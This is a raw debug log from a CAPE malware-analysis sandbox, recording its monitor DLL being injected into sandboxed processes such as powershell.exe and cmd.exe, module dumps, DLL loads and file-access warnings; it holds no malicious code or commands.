2019-08-13 23:46:22,210 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:22,210 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:22,210 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,210 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:22,210 [root] INFO: Monitor successfully loaded in process with pid 1648.
2019-08-13 23:46:22,210 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:22,210 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:22,210 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,210 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,226 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:22,226 [root] DEBUG: GetHookCallerBase: thread 1704 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:22,226 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,226 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,226 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:22,226 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:22,226 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:22,240 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,240 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:22,240 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:22,240 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:22,240 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:22,240 [root] DEBUG: Loader: Injecting process 2760 (thread 2788) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,240 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:22,256 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2676_1457544542226614382019
2019-08-13 23:46:22,256 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,256 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:22,256 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,256 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:22,256 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,256 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,256 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1988
2019-08-13 23:46:22,256 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:22,256 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,256 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:22,272 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,272 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:22,272 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:22,272 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:22,303 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,303 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:22,303 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,303 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:22,303 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\1648_1340955936226614382019
2019-08-13 23:46:22,303 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,303 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:22,319 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,319 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:22,319 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:22,319 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:22,319 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:22,319 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,319 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2760
2019-08-13 23:46:22,319 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:22,319 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:22,319 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,335 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:22,335 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000285000-0x0000000000290000
2019-08-13 23:46:22,335 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:22,335 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:22,335 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:22,335 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,335 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:22,335 [root] INFO: Added new process to list with pid: 1988
2019-08-13 23:46:22,349 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:22,349 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:22,349 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:22,349 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,349 [root] INFO: Monitor successfully loaded in process with pid 1988.
2019-08-13 23:46:22,349 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:22,349 [root] INFO: Announced 64-bit process name: powershell.exe pid: 1324
2019-08-13 23:46:22,365 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:22,365 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:22,365 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:22,365 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,381 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:22,381 [root] DEBUG: GetHookCallerBase: thread 560 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:22,381 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:22,381 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,397 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:22,397 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:22,397 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,397 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:22,427 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:22,427 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:22,427 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,427 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:22,427 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:22,444 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:22,444 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:22,444 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2100
2019-08-13 23:46:22,444 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:22,444 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,460 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000064000-0x0000000000160000
2019-08-13 23:46:22,552 [root] INFO: Added new process to list with pid: 2760
2019-08-13 23:46:22,552 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,552 [root] INFO: Monitor successfully loaded in process with pid 2760.
2019-08-13 23:46:22,552 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,552 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,631 [root] DEBUG: GetHookCallerBase: thread 2788 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:22,631 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:22,631 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:22,677 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,709 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,709 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:22,740 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:22,740 [root] DEBUG: Loader: Injecting process 1324 (thread 2112) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,740 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,834 [root] DEBUG: Loader: Injecting process 2100 (thread 1752) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,834 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:22,849 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:22,849 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:22,881 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,881 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:22,911 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:22,911 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,911 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:22,911 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:22,927 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:22,927 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:22,927 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,927 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:22,943 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:22,943 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\1988_1774295578226614382019
2019-08-13 23:46:22,943 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:22,943 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,943 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:22,943 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:22,943 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:22,959 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,959 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,959 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2760_1818117216226614382019
2019-08-13 23:46:22,959 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,959 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,959 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1324
2019-08-13 23:46:22,959 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:22,973 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:22,973 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2100
2019-08-13 23:46:22,973 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,973 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,990 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:22,990 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:22,990 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:22,990 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,990 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,052 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:23,052 [root] DEBUG: DLL loaded at 0x000007FEFC3B0000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:46:23,052 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:23,068 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:23,068 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2660
2019-08-13 23:46:23,068 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:23,068 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:23,068 [root] DEBUG: DLL loaded at 0x000007FEFD020000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:46:23,084 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:23,084 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:23,084 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:23,084 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:23,084 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:23,084 [root] DEBUG: DLL loaded at 0x000007FEFBB00000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:46:23,084 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:23,098 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:23,098 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:23,115 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:23,115 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x00000000000E5000-0x00000000000F0000
2019-08-13 23:46:23,115 [root] DEBUG: DLL loaded at 0x000007FEFB840000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:46:23,145 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:23,145 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:23,145 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:23,161 [root] DEBUG: DLL loaded at 0x000007FEFC8F0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:46:23,161 [root] INFO: Process with pid 2884 has terminated
2019-08-13 23:46:23,161 [root] INFO: Added new process to list with pid: 1324
2019-08-13 23:46:23,161 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000044000-0x0000000000140000
2019-08-13 23:46:23,161 [root] DEBUG: DLL loaded at 0x000007FEFE4A0000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:46:23,177 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:23,177 [root] DEBUG: DLL loaded at 0x000007FEF7810000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:46:23,193 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2828
2019-08-13 23:46:23,193 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:23,193 [root] DEBUG: DLL loaded at 0x000007FEFC5F0000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:46:23,193 [root] INFO: Monitor successfully loaded in process with pid 1324.
2019-08-13 23:46:23,193 [root] INFO: Process with pid 2752 has terminated
2019-08-13 23:46:23,207 [root] INFO: Added new process to list with pid: 2100
2019-08-13 23:46:23,207 [root] DEBUG: DLL loaded at 0x000007FEFD1B0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:46:23,207 [root] DEBUG: Loader: Injecting process 2660 (thread 2656) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,207 [root] DEBUG: DLL loaded at 0x000007FEF8900000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:46:23,207 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:23,223 [root] DEBUG: GetHookCallerBase: thread 2112 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:23,223 [root] INFO: Monitor successfully loaded in process with pid 2100.
2019-08-13 23:46:23,240 [root] DEBUG: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:46:23,240 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:23,240 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:23,240 [root] DEBUG: DLL loaded at 0x000007FEFCB90000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:46:23,240 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:23,240 [root] DEBUG: GetHookCallerBase: thread 1752 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:23,255 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:46:23,255 [root] DEBUG: DLL loaded at 0x000007FEFC190000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:46:23,255 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:23,255 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,255 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:23,255 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:23,255 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\CDOLYY790C64OE64LHER.temp'
2019-08-13 23:46:23,270 [root] DEBUG: DLL loaded at 0x000007FEF2F10000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:46:23,270 [root] DEBUG: DLL loaded at 0x000007FEFE860000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:46:23,270 [root] DEBUG: DLL loaded at 0x000007FEF8AC0000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:46:23,270 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:23,270 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:23,270 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:23,270 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:23,270 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\CDOLYY790C64OE64LHER.temp'
2019-08-13 23:46:23,270 [root] DEBUG: DLL loaded at 0x000007FEFB0B0000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:46:23,270 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:23,286 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:23,286 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:23,286 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:23,286 [root] DEBUG: Loader: Injecting process 2828 (thread 2212) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,302 [root] DEBUG: DLL unloaded from 0x000007FEFE320000.
2019-08-13 23:46:23,318 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:23,332 [root] DEBUG: DLL unloaded from 0x000007FEFD560000.
2019-08-13 23:46:23,332 [root] DEBUG: DLL loaded at 0x000007FEF2570000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:46:23,332 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:23,348 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:23,348 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\CDOLYY790C64OE64LHER.temp'
2019-08-13 23:46:23,348 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,348 [root] DEBUG: DLL loaded at 0x0000000074090000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:46:23,348 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:23,364 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\1324_2008166378236614382019
2019-08-13 23:46:23,364 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP'
2019-08-13 23:46:23,380 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:23,380 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:23,380 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2660
